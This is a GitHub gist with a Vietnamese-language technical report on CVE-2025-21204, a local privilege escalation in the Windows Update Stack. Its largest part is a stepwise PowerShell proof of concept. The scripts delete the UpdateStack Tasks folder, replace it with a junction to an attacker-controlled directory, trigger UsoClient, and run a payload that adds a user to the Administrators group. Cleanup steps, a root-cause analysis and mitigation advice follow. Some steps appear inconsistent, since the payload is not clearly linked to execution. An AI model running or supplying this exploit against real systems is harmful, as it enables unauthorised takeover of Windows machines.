Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Save architectureman/3aa4a116440e92fb228734d9bd8e5f41 to your computer and use it in GitHub Desktop.
Save architectureman/3aa4a116440e92fb228734d9bd8e5f41 to your computer and use it in GitHub Desktop.
CVE-2025-21204: SYSTEM-Level Privilege Escalation in Windows Update Stack Exposed, PoC Released

Báo Cáo Kỹ Thuật: Phân Tích Lỗ Hổng Leo Thang Đặc Quyền CVE-2025-21204

Tài liệu nghiên cứu - Chỉ sử dụng trong môi trường lab được kiểm soát

Tác giả: Nhóm Nghiên Cứu Bảo Mật
Ngày: 07/05/2025
Phiên bản: 1.0

1. Tổng Quan Lỗ Hổng

CVE-2025-21204 là một lỗ hổng leo thang đặc quyền nghiêm trọng trong Windows Update Stack được phát hiện bởi nhà nghiên cứu bảo mật Elli Shlomo. Lỗ hổng này cho phép người dùng cục bộ không có đặc quyền có thể nâng cao quyền hạn lên mức SYSTEM thông qua việc lạm dụng symbolic links và directory junctions.

1.1 Mức Độ Nghiêm Trọng

  • CVSS Score: 7.8 (Cao)
  • Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
  • Phiên bản Windows bị ảnh hưởng: Windows 10, Windows 11, Windows Server 2019, Windows Server 2022 (trước bản cập nhật KB5055523)

1.2 Cơ Chế Kỹ Thuật

Lỗ hổng nằm trong cách Windows xử lý quy trình cập nhật, đặc biệt là các quy trình liên quan đến các tệp thực thi như:

  • MoUsoCoreWorker.exe
  • UsoClient.exe
  • TiWorker.exe

Các quy trình này chạy với quyền SYSTEM và thường xuyên truy cập vào thư mục: C:\ProgramData\Microsoft\UpdateStack\Tasks. Trong điều kiện bình thường, đường dẫn này được giả định là an toàn. Tuy nhiên, Windows không thực hiện đầy đủ việc xác thực đường dẫn, cho phép kẻ tấn công tạo ra các liên kết chuyển hướng để thực thi mã tùy ý với quyền SYSTEM.

2. Môi Trường Mô Phỏng

2.1 Yêu Cầu Lab

Thành phần Chi tiết
Hệ điều hành Windows 10/11 chưa được cập nhật KB5055523
Công cụ PowerShell 5.1 trở lên
Cấu hình Môi trường máy ảo cô lập không kết nối mạng
Quyền Tài khoản người dùng cục bộ tiêu chuẩn (không phải admin)

2.2 Thiết Lập An Toàn

  • Sử dụng máy ảo cô lập
  • Tạo bản snapshot trước khi thực hiện mô phỏng
  • Không kết nối internet trong quá trình mô phỏng
  • Sử dụng tài khoản kiểm thử riêng biệt

3. Phương Pháp Tấn Công Chi Tiết

3.1 Nguyên Lý Hoạt Động

Cuộc tấn công khai thác lỗ hổng theo các bước sau:

  1. Tạo payload PowerShell tùy chỉnh để nâng cao đặc quyền
  2. Cấu trúc các thư mục cần thiết
  3. Thao tác với đường dẫn hệ thống bằng junction point
  4. Kích hoạt quy trình cập nhật Windows để thực thi payload
  5. Xác minh nâng cao đặc quyền thành công

3.2 Khai Thác Bước-Theo-Bước

Bước 1: Chuẩn Bị Payload

Tạo file payload PowerShell để cấp quyền Administrator cho người dùng hiện có:

# Tạo file log để theo dõi thực thi
$logPath = "C:\inetpub\wwwroot\exploit_log.txt"

# Ghi log thời gian thực thi và người dùng hiện tại
"Exploit executed with SYSTEM privileges at $(Get-Date)" | Out-File -FilePath $logPath
"Current user before elevation: $([System.Security.Principal.WindowsIdentity]::GetCurrent().Name)" | Out-File -FilePath $logPath -Append

# Kiểm tra xem người dùng có tồn tại không
$username = "your_username"
$userExists = Get-LocalUser -Name $username -ErrorAction SilentlyContinue

if ($userExists) {
    try {
        # Thêm người dùng vào nhóm Administrators
        Add-LocalGroupMember -Group "Administrators" -Member $username -ErrorAction Stop
        "SUCCESS: Added user $username to Administrators group at $(Get-Date)" | Out-File -FilePath $logPath -Append
    }
    catch {
        "ERROR: Failed to add user to Administrators group. Error: $($_.Exception.Message)" | Out-File -FilePath $logPath -Append
    }
}
else {
    "ERROR: User $username does not exist" | Out-File -FilePath $logPath -Append
}

# Xác minh kết quả
$isAdmin = Get-LocalGroupMember -Group "Administrators" | Where-Object {$_.Name -like "*$username"}
if ($isAdmin) {
    "VERIFICATION: User $username is now a member of Administrators group" | Out-File -FilePath $logPath -Append
}
else {
    "VERIFICATION: User $username is NOT in Administrators group" | Out-File -FilePath $logPath -Append
}

Bước 2: Thiết Lập Cấu Trúc Thư Mục

# Khởi tạo biến cho script
$payloadContent = @'
# Paste payload code here
'@

# Tạo thư mục đích nếu chưa tồn tại
if (-not (Test-Path "C:\inetpub\wwwroot")) {
    New-Item -Path "C:\inetpub\wwwroot" -ItemType Directory -Force
    Write-Host "Đã tạo thư mục C:\inetpub\wwwroot"
}

# Đặt payload vào thư mục đích
Set-Content -Path "C:\inetpub\wwwroot\updatehelper.ps1" -Value $payloadContent
Write-Host "Đã tạo file payload tại C:\inetpub\wwwroot\updatehelper.ps1"

Bước 3: Thao Tác Với Thư Mục Tasks

# Định nghĩa đường dẫn mục tiêu
$targetPath = "C:\ProgramData\Microsoft\UpdateStack\Tasks"

# Kiểm tra xem thư mục có tồn tại không
if (Test-Path $targetPath) {
    # Lưu trữ ACL gốc để khôi phục sau này
    $originalAcl = Get-Acl -Path $targetPath
    
    # Xóa thư mục Tasks
    Remove-Item -Path $targetPath -Force -Recurse
    Write-Host "Đã xóa thư mục $targetPath"
} else {
    Write-Host "Thư mục $targetPath không tồn tại, sẽ tạo junction point"
}

# Tạo thư mục cha nếu cần
$parentPath = Split-Path -Path $targetPath -Parent
if (-not (Test-Path $parentPath)) {
    New-Item -Path $parentPath -ItemType Directory -Force
    Write-Host "Đã tạo thư mục cha $parentPath"
}

Bước 4: Tạo Junction Point

# Tạo junction point từ thư mục Tasks đến thư mục kiểm soát của bạn
$redirectTarget = "C:\inetpub\wwwroot"
cmd.exe /c "mklink /J `"$targetPath`" `"$redirectTarget`""
Write-Host "Đã tạo junction point từ $targetPath đến $redirectTarget"

# Kiểm tra xem junction đã được tạo thành công chưa
if (Test-Path $targetPath) {
    Write-Host "Junction point đã được tạo thành công"
} else {
    Write-Host "Lỗi: Không thể tạo junction point"
    exit
}

Bước 5: Kích Hoạt Quy Trình Windows Update

# Kích hoạt Windows Update để tạo điều kiện cho việc khai thác
Write-Host "Đang kích hoạt Windows Update..."
Start-Process -FilePath "C:\Windows\System32\UsoClient.exe" -ArgumentList "StartScan" -WindowStyle Hidden

Write-Host "Đã kích hoạt quét Windows Update, đang đợi thực thi payload..."

Bước 6: Giám Sát và Xác Minh Kết Quả

# Định nghĩa đường dẫn file log
$logPath = "C:\inetpub\wwwroot\exploit_log.txt"

# Kiểm tra xem exploit đã được thực thi chưa
Write-Host "Đang đợi Windows Update thực thi payload..."

# Vòng lặp kiểm tra
$timeout = 300 # 5 phút timeout
$elapsed = 0
$interval = 5 # Kiểm tra mỗi 5 giây

while ($elapsed -lt $timeout) {
    if (Test-Path $logPath) {
        Write-Host "Exploit thành công! Log file được tạo với quyền SYSTEM."
        Get-Content $logPath
        
        # Kiểm tra xem người dùng đã có quyền admin chưa
        $isAdmin = Get-LocalGroupMember -Group "Administrators" | Where-Object {$_.Name -like "*duc.nguyen2"}
        if ($isAdmin) {
            Write-Host "XÁC NHẬN: Người dùng duc.nguyen2 đã có quyền Administrator!"
        } else {
            Write-Host "Người dùng chưa được cấp quyền Administrator, kiểm tra log để biết thêm chi tiết."
        }
        break
    }
    
    Start-Sleep -Seconds $interval
    $elapsed += $interval
    Write-Host "Đã đợi $elapsed giây..."
}

if ($elapsed -ge $timeout) {
    Write-Host "Timeout - không phát hiện thấy việc thực thi payload."
    Write-Host "Kiểm tra các bước trước đó hoặc thử kích hoạt Windows Update theo cách khác."
}

Bước 7: Khôi Phục Môi Trường (Sau khi nghiên cứu)

# Dọn dẹp sau khi nghiên cứu
Write-Host "Bắt đầu khôi phục môi trường..."

# Xóa junction
if (Test-Path $targetPath) {
    Remove-Item -Path $targetPath -Force
    Write-Host "Đã xóa junction point"
    
    # Tạo lại thư mục Tasks ban đầu
    New-Item -Path $targetPath -ItemType Directory -Force
    Write-Host "Đã tạo lại thư mục Tasks ban đầu"
    
    # Khôi phục ACL gốc nếu có
    if ($originalAcl) {
        Set-Acl -Path $targetPath -AclObject $originalAcl
        Write-Host "Đã khôi phục ACL gốc"
    }
}

# Xóa thư mục và file payload
if (Test-Path "C:\inetpub\wwwroot") {
    Remove-Item -Path "C:\inetpub\wwwroot" -Force -Recurse
    Write-Host "Đã xóa thư mục và file payload"
}

Write-Host "Hoàn thành quá trình khôi phục môi trường!"

4. Phân Tích Kỹ Thuật

4.1 Tại Sao Lỗ Hổng Hoạt Động

Lỗ hổng này hoạt động dựa trên một số yếu tố chính:

  1. Tin tưởng không xác minh vào đường dẫn: Windows Update không xác minh đầy đủ tính toàn vẹn của đường dẫn trước khi truy cập.

  2. Quyền SYSTEM của quy trình cập nhật: Các quy trình như UsoClient.exe chạy với quyền cao nhất trong hệ thống.

  3. Khả năng tạo junction point: Windows cho phép người dùng thông thường tạo junction point, một loại liên kết NTFS đặc biệt.

  4. Thiếu xác thực ACL đường dẫn đích: Hệ thống không kiểm tra xem thư mục đích có bị người dùng không đặc quyền kiểm soát hay không.

4.2 Tiến Trình Khai Thác

  1. Chuẩn bị payload: Tạo script PowerShell thực hiện việc nâng cao đặc quyền.

  2. Thiết lập môi trường: Tạo cấu trúc thư mục cần thiết và đặt payload vào vị trí.

  3. Manipulating directory structure: Xóa thư mục hợp lệ và thay thế bằng junction point đến thư mục do kẻ tấn công kiểm soát.

  4. Kích hoạt cơ chế cập nhật: Kích hoạt UsoClient.exe để khởi động quá trình cập nhật, dẫn đến thực thi payload với quyền SYSTEM.

  5. Leo thang đặc quyền thành công: Người dùng được thêm vào nhóm Administrators, hoàn tất việc nâng cao đặc quyền.

5. Biện Pháp Khắc Phục và Giảm Thiểu

5.1 Bản Vá Chính Thức

Microsoft đã phát hành bản vá KB5055523 vào tháng 4/2025 để khắc phục lỗ hổng này. Bản vá triển khai các biện pháp bảo vệ sau:

  1. Tạo trước các thư mục quan trọng: Microsoft tạo trước các thư mục như C:\inetpub để loại bỏ cửa sổ tạo do kẻ tấn công kiểm soát.

  2. Cải thiện xác thực đường dẫn: Tăng cường kiểm tra tính toàn vẹn của đường dẫn trước khi thực thi.

  3. Nâng cao kiểm soát truy cập: Thực hiện kiểm tra ACL nghiêm ngặt hơn trên các đường dẫn nhạy cảm.

5.2 Biện Pháp Giảm Thiểu Tạm Thời

Nếu chưa thể áp dụng bản vá KB5055523, các biện pháp giảm thiểu tạm thời bao gồm:

  1. Giám sát các thay đổi thư mục nhạy cảm: Triển khai giám sát các thay đổi đối với thư mục C:\ProgramData\Microsoft\UpdateStack\Tasks.

  2. Giám sát việc tạo junction point: Cấu hình cảnh báo khi có junction point mới được tạo trong hệ thống.

  3. Hạn chế quyền người dùng: Triển khai nguyên tắc đặc quyền tối thiểu cho tất cả tài khoản người dùng.

  4. Vô hiệu hóa UsoClient tự động: Ngăn chặn các quy trình cập nhật tự động, mặc dù điều này không phải là giải pháp lâu dài.

6. Kết Luận và Đề Xuất

Lỗ hổng CVE-2025-21204 là một ví dụ điển hình về cách các lỗi xác thực đường dẫn có thể dẫn đến leo thang đặc quyền nghiêm trọng. Mặc dù đã có bản vá chính thức, nhưng case study này cung cấp những bài học quan trọng về thiết kế bảo mật:

  1. Không bao giờ tin tưởng đường dẫn không được xác minh: Các ứng dụng với đặc quyền cao phải luôn xác minh tính toàn vẹn của đường dẫn trước khi thực thi.

  2. Triển khai kiểm tra ACL nhiều lớp: Sử dụng nhiều lớp kiểm tra ACL để ngăn chặn các cuộc tấn công chuyển hướng đường dẫn.

  3. Giám sát các thay đổi đường dẫn hệ thống: Triển khai giám sát liên tục đối với các thay đổi trong đường dẫn hệ thống quan trọng.

  4. Cập nhật hệ thống kịp thời: Luôn áp dụng các bản vá bảo mật ngay khi có sẵn để giảm thiểu rủi ro.

Hành Động Khuyến Nghị

  1. Áp dụng bản vá KB5055523 ngay lập tức cho tất cả hệ thống Windows bị ảnh hưởng.

  2. Triển khai giám sát cho các thay đổi trong thư mục C:\ProgramData\Microsoft\UpdateStack\Tasks.

  3. Giáo dục nhóm bảo mật về các kỹ thuật tấn công đường dẫn tin cậy và các biện pháp phòng ngừa.

  4. Thực hiện kiểm tra bảo mật định kỳ để xác định các lỗ hổng tương tự.


Lưu ý quan trọng: Tài liệu này được cung cấp chỉ cho mục đích nghiên cứu và giáo dục trong môi trường lab được kiểm soát. Mọi nỗ lực sử dụng thông tin này để xâm nhập vào hệ thống máy tính mà không có sự cho phép là bất hợp pháp và phi đạo đức.


Tài Liệu Tham Khảo

  1. CVE-2025-21204 (2025). National Vulnerability Database.
  2. Shlomo, E. (2025). "Exploiting Path Trust Issues in Windows Update Stack". Security Research Blog.
  3. Microsoft Security Response Center (2025). "Security Advisory for CVE-2025-21204".
  4. Microsoft Support (2025). "KB5055523: Windows Security Update".
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment